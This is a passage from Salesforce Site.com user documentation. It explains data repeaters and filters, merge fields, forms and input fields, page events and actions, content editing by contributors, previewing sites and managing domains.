For example, if a data repeater is connected to Accounts, you can add a nested data function to it thats connected to Contacts to return the number of contacts associated with each account. To create a nested data repeater: 1. Add a data repeater to the page. 2. Drag another Data Repeater, Data Table, or Data Function from the Page Elements pane onto the data repeater. 3. Select the related Salesforce object that you want to connect to. Note: You can also retrieve data from unrelated objects. However, as this can adversely affect the performance of your site, we recommend retrieving data from related objects only. 4. Optionally, in Filters, select criteria to filter your data set. If you dont select any criteria, all the data from the item is returned. a. Select the field to which the filter criteria apply. The Field drop-down list displays the objects fields, followed by the fields of all parent objects, which use the format parent_object_name.field_name. b. Select the operator to control how results are filtered. For example, select Equals to return an exact match. c. Select the source of the filter value. For example, to specify an explicit value, select Fixed value, or to use the values passed to the page via a query string, select URL query string. d. Set the value of the filter. If youre using a query string, you can also specify what should happen if the query string is missing.

2458

Working with Dynamic Data

Data Filters

e. Add additional filter criteria as required to narrow your results further. Each filter item is combined with an AND operator. Note: If youre using a fixed value to filter the results, you can view the returned records in the Connection Preview section. To refresh the list of records, click Reload Preview. 5. In Sorting, you can specify whether to sort the results by one or more fields in ascending or descending order. For example, if youre working with an object that contains user data, you could sort your results by gender first and then by name. 6. In Limits, you can limit the number of returned results. For example, if youre only interested in the top five results, enter 5 in the Limit results to field. 7. If youre adding pagination, specify the number of results to display per page in the Results per page field. 8. If youre working with a data table, click Next and add fields to the table by double-clicking a field, or selecting it and clicking . 9. Click Save. You can either add data elements or custom code to the parent repeater to display its fields. Similarly, if youve nested a data repeater inside the parent data repeater, add data elements or custom code to the nested data repeater to display the child objects fields. Note: You cant nest data repeaters more than one level deep.

See Also:
Accessing Data in Related Objects Overview Dynamically Retrieving Data with Data Repeaters Dynamically Retrieving Data with Data Tables Using Data Functions Site.com Data Services Overview

Data Filters
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

When you add a data repeater, a data table, or a data function to a page, you dont have to limit the records it retrieves. However, if youre working with a Salesforce object that has thousands of records, you can limit the returned results using filter criteria. When you add filter criteria, you need to specify: The field to which the filter criteria apply The operator The source of the filter value The filter value

2459

Working with Dynamic Data

Data Filters

Filter Operators Operator Equals Not equal to Less than Greater than Less than or equal to Description Returns an exact match. Returns records that dont have the value you specify. Returns records that are less than the value you specify. Returns records that exceed the value you specify. Returns records that match or are less than the value you specify.

Greater than or equal to Returns records that match or exceed the value you specify. Starts with Ends with Contains Includes Includes all Excludes Use when you know what your value starts with, but not the exact text. For example, california would return California Travel, but not Surf California. Use when you know what your value ends with, but not the exact text. Returns records that include your search string but might also include other information. For example, california would return California Travel and Surf California. Use for field types that support multiple values to return records that contain one or more of the comma-separated values you specify. Use for field types that support multiple values to return records that contain all of the comma-separated values you specify. Use for field types that support multiple values to return records that dont contain one or more of the comma-separated values you specify. For example, for a Locations category field, San Francisco,Vancouver would exclude a record containing San Francisco,Dallas and a record containing Vancouver,New York. Use for a field types that support multiple values to return records that dont contain all of the comma-separated values you specify. For example, for a Locations category field, San Francisco,Vancouver would exclude only records that contain both terms.

Excludes all

Filter Value Sources Source Fixed value URL query string Global property Request header Description Use when you want to specify the value. Use when you want to pass variable content via a URL to the item when the page loads. Use when you want to use a fixed value from the site, such as the current date or current time. Use when you want to use a value from the browser, such as the host header or browser version.

2460

Working with Dynamic Data

About Merge Fields in Site.com

Source Parent repeater

Description Use when you want to create a query between unrelated objects. Available only when a data repeater, data table, or data function is nested inside a parent repeater, but the parent repeaters object is unrelated to the nested items object. Warning: Retrieving data from unrelated objects can adversely affect the performance of your site. We recommend retrieving data from related objects only.

See Also:
About Merge Fields in Site.com Dynamically Retrieving Data with Data Repeaters Dynamically Retrieving Data with Data Tables Using Data Functions Site.com Data Services Overview

About Merge Fields in Site.com


Merge fields serve as placeholders for data that will be replaced with information from your records when the page loads. When working with data-bound page elements in Site.com, you can use merge fields to customize how data is displayed on the page. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

In Site.com, merge field syntax consists of an open curly brace and exclamation point, the field name, and a closing curly brace. For example, the Billing City merge field uses the syntax {!BillingCity}. For related objects, the field name is prefixed by the name of the master object: {!Account.BillingCity}. If youre editing a data element in a data repeater or a data table column, you can access the objects fields by name in a drop-down list without using merge fields. However, if you want to customize how the field is displayed on the page, you can see and edit the merge field when you click Customize in the dialog box. If youre working with custom code or content blocks in a data repeater, you can only access the objects fields using merge fields. Merge fields let you customize the output by: Adding text around the merge field. For example, lets say youre displaying the phone number of each of your business locations. You could enter the text Contact us at before the {!Phone} merge field. When the data is displayed on the page, {!Phone} is replaced with the fields value for each record: Contact us at 1002003000. Formatting the output using HTML tags. For example, you could wrap H1 tags around the merge field to alter how the output is displayed on the page: <H1>{!Phone}</H1>.

2461

Working with Dynamic Data

Data Filtering Examples

Creating a URL query string to pass variable information to a data repeater or data table on another page. The second page, in turn, uses the received variable to retrieve and display the relevant records. For example, you could create a hyperlink, such as /product_details?productID={!id}, where {!id} is replaced with the product ID for each record. When a particular product link is clicked, the product ID is passed to the Product Details page, which uses the ID to retrieve the records information and display it on the page.

See Also:
Dynamically Retrieving Data with Data Repeaters Dynamically Retrieving Data with Data Tables Using Data Functions Data Filtering Examples

Data Filtering Examples


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

When working with data repeaters, data tables, and data functions, you can filter the data you retrieve in many ways. In this topic, we explore two optionsfixed values and URL query stringsto illustrate some common filtering techniques. Example 1: Using a Fixed Value to Filter Results In our first example, we have a custom object called News that stores company news and events. Each news item has a Status picklist that can be set to either In Progress or Approved. We only want to display approved news items on our Company News page. In this case, we can use a fixed value to filter the data in the News object. In this scenario you would: 1. Add a data repeater to the page and configure it as follows: a. b. c. d. e. Select the News custom object. Select the Status field. Select the Equals operator. Select Fixed value as the filter source. Enter Approved in the Value text box that appears.

This tells the data repeater to return only records where the Status field contains the value Approved. 2. Add data elements to the data repeater to display the required fields, such as Title, Description, and Date, on the page. Example 2: Using a URL Query String to Dynamically Filter and Display Results on Another Page In our second example, we have a custom object called Products that stores product information. However, some products are only available in certain locations, so wed like to let customers view the products in their nearest city. In this case, we could create a Locations site page that contains links to each available city. We want each link to open the Products site page, but only display products based on the users selection. We can do this using URL query strings, which allow us to pass variable content between HTML pages. The variable information in this case is the product location; the data repeater wont know which products to return until the user makes a selection.

2462

Working with Dynamic Data

Data Filtering Examples

For this scenario, you would: 1. Add a data repeater to the Products page and configure it as follows: a. b. c. d. Select the Products custom object. In the Filters section, set the criteria to City Equals URL query string. In the Value text box, enter the variable namein this case, location. In the If query string is missing drop-down list, select Dont apply this filter item. This option is used when a customer wants to view all products without filtering. e. Click Save. 2. Add data elements for the fields you want to display, such as Product Name, Description, and Price. 3. On the Locations page, add a data repeater and select the Products custom object. 4. Add a data element to the data repeater to represent the City field and configure it as follows: a. b. c. d. e. Select the City field as the field to display, because we want to use the name of the city as the hyperlink. Select Text as the display format. Click Add a hyperlink to display a URL on the page. In the Link to drop-down list, select An item in your site and select the Products page. Change the value to /product?location={!City}, where {!City} is a placeholder for the value of a records City field. When the page first loads, {!City} is replaced with the correct value, such as Dallas, which creates the following URL for that record:
/product?location=Dallas

When clicked, this opens the Products page and passes Dallas as the value of the location variable. f. For the tooltip, select the City field and click Customize. g. Change the value to Show me products available in {!City}. Again, the {!City} placeholder is replaced by the value of the City field for each record when the page loads. Now, when the Locations page loads, the data repeater displays the location of each product as a link. When a customer clicks a link, such as Dallas, the Locations page passes location=Dallas to the Products page. As the Products page loads, the data repeater uses this value to dynamically return only records where the City field contains the value Dallas.

See Also:
About Merge Fields in Site.com Dynamically Retrieving Data with Data Repeaters Displaying Data Using Data Elements Dynamically Retrieving Data with Data Tables Using Data Functions Accessing Data in Related Objects Overview Site.com Data Services Overview

2463

Collecting and Submitting Data Using Forms

Adding a Form to the Page

COLLECTING AND SUBMITTING DATA USING FORMS


Adding a Form to the Page
Use forms to collect data from your site visitors and submit the data to standard or custom Salesforce objects. Create web-to-lead forms, capture customer details, or gather feedback on your products or services. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To add a form to the page:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned in Site.com Studio To edit the guest user profile:
Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned in Site.com Studio AND Manage Users AND Customize Application

To add a form to a page: 1. Drag a Form from the Page Elements pane onto the page. 2. Select the Salesforce object that you want to submit data to. Note: Because site visitors access your public site via the Guest User license, the drop-down list only displays objects that are available to guest users. To make objects available, go to the guest user profile, enable the relevant objects Create permission, and refresh the list.

3. Add available fields to the form by double-clicking a field, or selecting it and clicking automatically added to the list of selected fields. However, you can hide required fields. 4. Reorder the list of selected fields by clicking Move Up or Move Down. 5. Click Save.

. All required fields are

2464

Working with Dynamic Data

Adding Input Fields to Forms or Pages

You can use the forms Properties pane to: Add a title to the form Change the appearance of the form by selecting a different theme Specify what occurs when a user successfully submits the form

See Also:
Adding Input Fields to Forms or Pages Editing Fields in a Form Setting a Forms Submit Behavior The Default, Error, and No Data Views Site.com Data Services Overview

Adding Input Fields to Forms or Pages


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Adding Fields to a Form You can add additional fields to an existing form. Each field binds to a field in the object the form is connected to. The quickest option is to: 1. Select the form on the page. 2. Select > Add Fields. 3. In the Add Fields list, click the fields that you want to add. The Add Fields list displays the available fields in the object that the form is connected to. When you click a field, the correct field type is automatically added to the form, such as a checkbox or picklist field. Alternatively: 1. 2. 3. 4. Select the form on the page. Select > Add Page Elements. In the Add Page Elements list, click the input field type that you want to add, such as Checkbox. Choose a field in the Add a Field dialog box and click Save. If no fields of that type exist in the object, you cant add a field of that type to the form.

2465

Working with Dynamic Data

Editing Fields in a Form

Note: You cant add fields to a form by clicking > Edit Form. Date/time, data, lookup, content, and currency field types arent supported. You cant configure the default field-level error messages that appear when users enter an incorrect value.

Adding Fields to a Page You can add input fields directly to a page, panel, data repeater, or data table to build your own custom features using custom code. For example, lets say some of your products are only available in certain locations and youd like to let customers view the products in their nearest city. You could add a picklist input field to the page that lists the various locations. Using custom code, you could then pass the users selection to a data table or data repeater via a query string to display a filtered product list. To add an input field to the page, drag it from the Page Elements pane onto the page. Alternatively, select the page or container page element in the Page Structure pane, select > Add Page Elements, and select the input field.

See Also:
Editing Fields in a Form Adding a Form to the Page Site.com Data Services Overview

Editing Fields in a Form


After youve added a form to the page, you can edit and reorder its fields. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

To reorder fields, drag them to the correct position on the page or in the Page Structure pane. Alternatively, select a field and click > Move Up or > Move Down. To hide a field, such as required field that you dont want your site visitors to see, select Hidden Field in the Properties pane. When you hide a field, you can access it from the Page Structure pane. To make a field a required field, which means the user must complete the field before submitting the form, select Required Field in the Properties pane. A red asterisk (*) is displayed beside the field to indicate that its required. You cant change the Required Field setting for any fields that are required by default by the object the form is connected to.

2466

Working with Dynamic Data

Setting the Default Value of Fields

To rename a field, replace the name in the Label Name field in the Properties pane. To change the appearance of a field on the page, select a different theme in the Properties pane. If the field is in a form, you can only change the forms theme. To set the values of a picklist field that you added to a page, enter the values separated by a semicolon (;) in the Picklist Values field. Note: You cant move fields from a form onto the page. However, you can delete non-required fields, or hide both required and non-required fields. You cant drag fields from the page onto a form. See Adding Input Fields to Forms or Pages on page 2465.

See Also:
Setting the Default Value of Fields Adding a Form to the Page Adding Input Fields to Forms or Pages Setting a Forms Submit Behavior Site.com Data Services Overview

Setting the Default Value of Fields


You can set the default value of a field that you add to a form or to the page. This automatically populates the field with the value you specify when the page loads. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When used with a fields Hidden Field property, which hides the field on the form or page, the default value is a useful tool for submitting data that you dont want your users to see. For example, you could add a hidden field that uses the Global Property option to track when a form is submitted. To set the default value of a field: 1. Select the field. 2. Click Configure in the Properties pane. 3. Select the source of the default value.

2467

Working with Dynamic Data

Setting a Forms Submit Behavior

Option Fixed Value URL Query String

Description Use when you want to specify the value. For example, for a text field, you could add default text. Alternatively, if the field is a picklist, you can select a default value from the list. Use when you want to pass variable content via a URL to the item when the page loads. For example, if youre working with a picklist field, you could pass variable information, such as location, to filter the list and display only items from that location. See Data Filtering Examples for similar scenarios using data repeaters. Use when you want to use a fixed value from the site, such as the current date or current time. Use when you want to use a value from the browser, such as the host header or browser version.

Global Property Request Header

4. Set the default value. 5. Click Save.

See Also:
Adding Input Fields to Forms or Pages Editing Fields in a Form Adding a Form to the Page

Setting a Forms Submit Behavior


When your site visitors submit a form successfully, you can either redirect them to another page or display a message indicating that they were successful. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When the page is open: 1. Select the form in the Page Structure pane. 2. In the Properties pane, select an option in the When Successful drop-down list.
Option Show another page Display a message Description Redirects the user to the page that you specify. Displays a message below the form.

2468

Working with Dynamic Data

The Default, Error, and No Data Views

3. As appropriate, specify either: The page to redirect to in the Page URL field. You can enter a relative URL, such as a site page, or an absolute URL. For relative URLs, ensure you include a forward slash (/). The message text in the Message Text field. Tip: The forms Submit button uses the submit action in the Events pane.

See Also:
Adding a Form to the Page Adding Input Fields to Forms or Pages Editing Fields in a Form Site.com Data Services Overview

The Default, Error, and No Data Views


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

When working with data repeaters, data tables, data functions, and forms, you can customize what your site visitors see if an error occurs when connecting to the data source. Additionally, for data tables, data repeaters, data functions, you can customize whats displayed when no data exists for the current query. For example, if you set up a data repeater to dynamically filter and display results based on the users selection, but there are no results for that selection, you can display an appropriate message to explain what happened.

The Default View (1) is what usually appears on the page. For example, when you add a form to the page, the Default View contains the forms fields.

2469

Using Events to Create Animated Effects

Events Overview

The Error View (2) is displayed if an error occurs when connecting to the data source. It contains a content block with a default message that you can customize. You can also add other page elements to the view. The No Data View (3) is displayed when no data exists for the current query. It contains a content block with a default message that you can customize. You can also add other page elements to the view.

See Also:
About Merge Fields in Site.com Dynamically Retrieving Data with Data Repeaters Dynamically Retrieving Data with Data Tables Using Data Functions Accessing Data in Related Objects Overview Site.com Data Services Overview

USING EVENTS TO CREATE ANIMATED EFFECTS


Events Overview
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Events enable you to add interactive and animated effects to the pages and page elements of your website. When an event occurssay, when a user clicks an element on the page or when the page loadsyou can specify what action (or series of actions) it should trigger. For example, when your home page loads, you could display a news bulletin popup that fades away after several seconds. Or when the user clicks a panel, you could expand the panel to reveal additional information or alter its style. The Events pane lists many common actions that you can trigger when an event occurs. Using the options here, you can specify that: When [this event] occurs, trigger [this action].

See Also:
Creating an Event Available Events and Actions Using Site.com Studio as a Publisher or Designer Adding Pagination to Data Repeaters and Data Tables

2470

Using Events to Create Animated Effects

Creating an Event

Creating an Event
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Use events to add interactive and animated effects to the pages and page elements of your website. 1. Select the relevant page or page element. 2. Select an event in the Events pane. 3. Click and select an action in the Choose an Action list that appears. See Available Events and Actions on page 2472. 4. Set the other available properties for the action, such as: Targetspecifies the page element that the action affects Effectspecifies how the action is animated, such as fade or slide. Speedsets the speed of the animation to fast, normal, slow, or very slow Chainedallows you to chain actions so they occur sequentially. For example, to create a Delay action that delays the action that follows it, select the Delay action's Chained checkbox. This indents the subsequent action underneath the Delay action, indicating that it's tied to the Delay action. Applies to the Animate, Delay, Hide Element, Repeat, Show Element, and Toggle Element actions.

5. Click Save. 6. Add more actions if required. Tip: When you add an event to a page or page element, an asterisk (*) appears beside the event in the Events pane. If you hover over on a selected page element, a tooltip appears indicating which events are associated with the element. You can also click the icon to quickly open the Events tab.

To delete an action, select it and click

2471

Using Events to Create Animated Effects

Available Events and Actions

To change the order in which an action occurs, select it and click

or

See Also:
Events Overview Using Site.com Studio as a Publisher or Designer Adding Pagination to Data Repeaters and Data Tables

Available Events and Actions


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Choose from several event triggers and actions when you create an event.

When This Event Occurs...


Event Double click Click Focus Load Blur Mouse in Mouse out Occurs When... The user double-clicks the page element. The user clicks the page element. The focus moves to the page element. The page or page element is loaded in a browser window. The focus moves from the page element. The user moves the mouse pointer over the page element. The user moves the mouse pointer out of the page element.

Trigger This Action...


Action Add CSS Class Alert Animate Description Dynamically adds a CSS class to style the targeted item. For example, to alter the appearance of a page element, you could add a new CSS class to it. Displays a popup browser alert message. Animates CSS properties, such as Top, Left, Width, and Height, which you specify by entering appropriate values in the CSS field. For example, if targeting an image, you can enter values such as opacity: "0.4", width: "70%", which changes the image's appearance according to the speed and effect you set. Delay Adds a delay (measured in milliseconds) before the action that follows. (Ensure you select the Chained checkbox to tie it to the subsequent action.)

2472

Using Events to Create Animated Effects

Available Events and Actions

Action Execute JavaScript Go To Page Hide Element Next Page Previous Page Remove CSS Class

Description Runs custom JavaScript code, which you enter by clicking Edit Script to open the Custom Code Editor. Goes to the designated page number in data repeaters and data tables. See Adding Pagination to Data Repeaters and Data Tables on page 2452. Hides the targeted item according to the speed and effect you set. Goes to the next page in data repeaters and data tables. See Adding Pagination to Data Repeaters and Data Tables on page 2452. Goes to the previous page in data repeaters and data tables. See Adding Pagination to Data Repeaters and Data Tables on page 2452. Removes a CSS class from the targeted item to dynamically remove its style. For example, to alter the appearance of a page element, you could remove the CSS class associated with it and replace it with another. Repeats the action that follows by the specified number of times, with the specified delay between each occurrence. (Ensure you select the Chained checkbox in the Properties pane to tie it to the following action.) Dynamically sets the specified attribute value of the targeted item. For example, if targeting an image, you could change the image source by entering src in the Attribute Name field and entering the image URL in the Attribute Value field. You can also add custom name/value pairs for advanced coding purposes. Reveals the targeted item according to the speed and effect you set. Submits the selected form's data. Switches the visibility of the targeted element according to the speed and effect you set.

Repeat

Set Element Attribute

Show Element Submit Toggle Element

See Also:
Events Overview Using Site.com Studio as a Publisher or Designer Adding Pagination to Data Repeaters and Data Tables

2473

Editing Site Content

Creating Site Pages as a Site.com Contributor

EDITING SITE CONTENT


Creating Site Pages as a Site.com Contributor
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To edit only content in Site.com sites:


Site.com Contributor User field enabled on the user

detail page AND Contributor role assigned at the site level

If your publisher has enabled page creation, you can add pages to your site. To add a new page: 1. 2. 3. 4. In the Site Pages view on the Overview tab, click New Site Page. Enter the page name. Select a template for the page. Click Create. The site page opens.

See Also:
Editing Content Blocks Editing Site.com Pages as a Contributor Using Site.com Studio as a Contributor

2474

Editing Site Content

Editing Site.com Pages as a Contributor

Editing Site.com Pages as a Contributor


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To edit only content in Site.com sites:


Site.com Contributor User field enabled on the user

detail page AND Contributor role assigned at the site level

Open a page in the Site Pages view on the Overview tab by double-clicking it or hovering over it and clicking The page opens as a new tab. Once open, you can:

> Edit.

Edit the page text, and add images and hyperlinks by clicking Edit Content. The button isn't available if there are no editable areas on the page. Import assets, such as images and files. Preview the page in a browser window.

See Also:
Creating Site Pages as a Site.com Contributor Adding Images to Content Blocks Attaching Hyperlinks to Text and Images Adding an Anchor to a Page The Content Editing Toolbar Using Site.com Studio as a Contributor

2475

Editing Site Content

Editing Content Blocks

Editing Content Blocks


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User

AND Contributor role assigned at the site level

Contributors, designers, and publishers can edit content blocks, which contain the text for site pages, and can also house images, videos, and hyperlinks. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Add or edit the text in the highlighted areas and format it using the content editing toolbar. Tip: If you copy and paste text from Microsoft Office, highlight the text and click to remove any hidden formatting, which can adversely affect how the text appears on the page. Avoid applying formatting, such as font family or size, directly to text whenever possible. Instead, its best practice to use the paragraph and heading styles to quickly apply consistent formatting throughout the site. This also ensures that all page text updates automatically if a publisher or designer modifies the site's paragraph and heading styles.

3. Add images, videos, hyperlinks, or anchors as required. 4. Click Save. Note: The content of all editable page elements on a child page or template is linked to the content of the editable elements on its parent page template. When you update the content of an editable page element on the parent template, the changes are pushed down to any child pages or page templates. However, if you modify the content of an editable

2476

Editing Site Content

The Content Editing Toolbar

page element at the child page or template level, you break the link between the elements, and any subsequent changes made to the page element on the parent template won't trickle down to its children.

See Also:
Using Site.com Studio as a Contributor Previewing Site.com Sites

The Content Editing Toolbar


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Contributors, designers, and publishers can edit content blocks, which contain the site page's text, along with images, videos, and hyperlinks.

Using the content editing toolbar, you can: Undo and redo your edits, and remove the formatting of text copied and pasted from Microsoft Office, which can often include hidden formatting (1). Cut, copy, and paste text (2). Apply direct formatting (3), such as: Font family and size Bold, italic, underline, subscript, superscript, and strikethrough Font and highlight color Control the text style and layout (4) by: Applying paragraph and heading styles Setting paragraph indentation Left-aligning, centering, right-aligning, or justifying text Inserting numbered or bulleted lists

Insert a table, and add rows, columns, and spacing (5). Add images, videos, and special characters (6). Add and remove hyperlinks and anchors (7).

2477

Editing Site Content

Adding Images to Content Blocks

Tip: Avoid applying formatting, such as font family or size, directly to text whenever possible. Instead, its best practice to use the paragraph and heading styles to quickly apply consistent formatting throughout the site. This also ensures that all page text updates automatically if a publisher or designer modifies the site's paragraph and heading styles.

Adding Images to Content Blocks


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User

AND Contributor role assigned at the site level

Contributors, designers, and publishers can add images to the content blocks of site pages. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Position your cursor where you want to insert the image and click 3. In the Image Properties dialog box, either: .

Enter a URL to an image in the Image URL text box. Select an image from your website by clicking From Website and selecting the image in the list that appears. Upload an image from your computer by opening the Upload tab, browsing to the image, and clicking Upload.

4. Enter a brief description of the image in the Alternative text field. (The description is used by screen reader users or as a substitute if the image doesn't display. It can also help with search engine optimization (SEO). 5. Optionally, preview how the image appears in relation to the text on the page and set: The width and height of the image How much space surrounds the image (which is controlled by the HSpace and VSpace properties) How it aligns with the text on the page The image border (for example, to set a dotted green border that's 10 pixels wide, you enter 10px dotted green in the Border field)

6. Click Apply.

2478

Editing Site Content

Adding Video to Content Blocks

7. Click Save.

See Also:
Editing Content Blocks Adding an Anchor to a Page Adding Video to Content Blocks Attaching Hyperlinks to Text and Images The Content Editing Toolbar Importing and Managing Assets

Adding Video to Content Blocks


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User

AND Contributor role assigned at the site level

Contributors, designers, and publishers can add YouTube, Google, Adobe Flash, Windows Media, and Apple QuickTime videos to the content blocks of site pages. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Position your cursor where you want to insert the video and click . 3. In the Video Properties dialog box, select the video type and either: Enter the URL to the video in the Video URL text boxfor example, http://www.youtube.com/watch?v=123abc. Select a video from your website by clicking From Website and selecting the video in the list that appears. Upload a video from your computer by opening the Upload tab, browsing to the image, and clicking Upload.

2479

Editing Site Content

Adding Video to Content Blocks

Note: You can only select or upload Flash, Windows Media, and QuickTime videos.

4. To specify how the video is displayed on the page, you can set: The width and height of the video How much space surrounds the video (which is controlled by the HSpace and VSpace properties) How it aligns with the text on the page

You can also preview the video. 5. Click Apply. The video appears as an icon in the content block. 6. Click Save. Note: After you've added a video to the page, you can view it by previewing the page.

See Also:
Editing Content Blocks Adding Images to Content Blocks Attaching Hyperlinks to Text and Images Adding an Anchor to a Page The Content Editing Toolbar Importing and Managing Assets

2480

Editing Site Content

Attaching Hyperlinks to Text and Images

Attaching Hyperlinks to Text and Images


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User

AND Contributor role assigned at the site level

Contributors, designers, and publishers can create hyperlinks to: External Web pages or websites Pages and assets in a site Email messages Anchors that were added to the page

However, if you're a contributor and there are no editable areas on the page, the Edit Content button is disabled. When the page is open: 1. Click Edit Content. 2. Select the text or image that you want to attach a hyperlink to and click 3. Select the link type in the Link to drop-down list. To link to: A Web page: a. Select A URL. b. Type the address in the URL fieldfor example, http://www.externalsite.com. c. Go to step 4. A page or item in your site: a. Select An item in your site. b. Select the item type, such as a page or image. c. Select the item. (If you cant see the list of items, place your cursor in the URL field and press the DOWN key on your keyboard.) d. Go to step 4. .

2481

Editing Site Content

Attaching Hyperlinks to Text and Images

An anchor that you previously added to the page: a. Select An anchor on the page. b. Select the anchor in the drop-down list. Alternatively, enter a new anchor name and create the anchor afterwards. c. Go to step 5.

An email message: a. Select An email. b. Enter the recipient's email address and the message information. c. Go to step 5. Note: If youre working with a content block in a data repeater, you can use merge fields to create a custom link, such as a URL query string, to an item in your site or to a Web page.

4. To select which window the item should open in, select an option in the Target drop-down list: Popup window loads the item into a popup window. When you select this option, you can set the title for the popup and control its appearance and size with the options that appear. New window (_blank) loads the item into a new, unnamed browser window. Same window (_self) loads the item into the same frame or window as the link. This is the default setting. Topmost window (_top) loads the item into the topmost parent frameset or window of the frame that contains the link. Parent window (_parent) loads the item into the parent frameset or window of the frame that contains the link.

5. Optionally, enter a tooltip description for the link. The tooltip displays as a pop-up when the user hovers over the link. 6. Click Apply. 7. Click Save. To delete a hyperlink, select it and click .

See Also:
Editing Content Blocks Adding an Anchor to a Page Adding Images to Content Blocks Adding Video to Content Blocks The Content Editing Toolbar Displaying Data Using Content Blocks

2482

Editing Site Content

Adding an Anchor to a Page

Adding an Anchor to a Page


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User

AND Contributor role assigned at the site level

Anchors let you create hyperlinks that jump to specific locations on a page, which can be useful if a page is particularly long. Both contributors and publishers can add anchors to page text. However, if you're a contributor and the Edit Content button is disabled, there are no editable areas on the page. When the page is open: 1. Click Edit Content. 2. Place the cursor in the required position and click 3. Enter the anchor name and click Apply. 4. Create a hyperlink to the anchor. .

See Also:
Editing Content Blocks Attaching Hyperlinks to Text and Images Adding Images to Content Blocks Adding Video to Content Blocks The Content Editing Toolbar

2483

Editing Site Content

Previewing Site.com Sites

Previewing Site.com Sites


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User

AND Contributor role assigned at the site level

Contributors, designers, and publishers can preview site pages to see how they look when rendered in a browser window. It's always a good idea to make sure your changes are displayed correctly, as this is how the pages appear on the live site. If you're a publisher or designer, you can also create an anonymous preview URL that allows other users to review the site before it goes live. The URL is always valid (unless you disable it) and shows the latest work in progress. Click Preview Page on the toolbar when editing a page. Hover over a page in the Site Pages view of the Overview tab and click > Preview to view a single page. Click Preview on the toolbar of the Overview tab to view the entire site. From the Preview menu, you can also: Click Preview Site in a New Tab to view the site in a new tab in the existing browser window. Click Preview Site at 1024 x 768 to view the site as it appears to laptop users. Click Enable Anonymous Preview, if you're a publisher or designer, to create a URL that allows other users to preview the site before it goes live. Click the View Anonymous Preview option that appears in the Preview menu to access the preview URL, which you can copy and send to other users to review and test your changes. Enable Anonymous Preview is also available in the Site Configuration view. Click Preview beside a site on the Site.com home page to view the entire site.

When you preview pages, all browser-related functions should work. Note: During preview only, style sheets are rendered as inline styles.

See Also:
Using Site.com Studio as a Publisher or Designer Using Site.com Studio as a Contributor

2484

Managing Domains and Live Sites

Managing Domains in Site.com

MANAGING DOMAINS AND LIVE SITES


Managing Domains in Site.com
Before you can publish your site to the Internet, you must set the site's domain information. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To manage domains and publish Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level

To add a domain to the sites domains list, Salesforce must verify that you own the domain name. The verification method you choose depends on whether the domain name is currently in use. Add domain names using CNAME records if youre creating a new domain name or using a domain name thats not currently in use. Add domain names using TXT records if the domain name is already in use on another website and you want to reuse it. The existing website must also use domain name system (DNS) A records.

See Also:
Publishing Site-Wide Changes Taking Your Site Offline Using Site.com Studio as a Publisher or Designer

2485

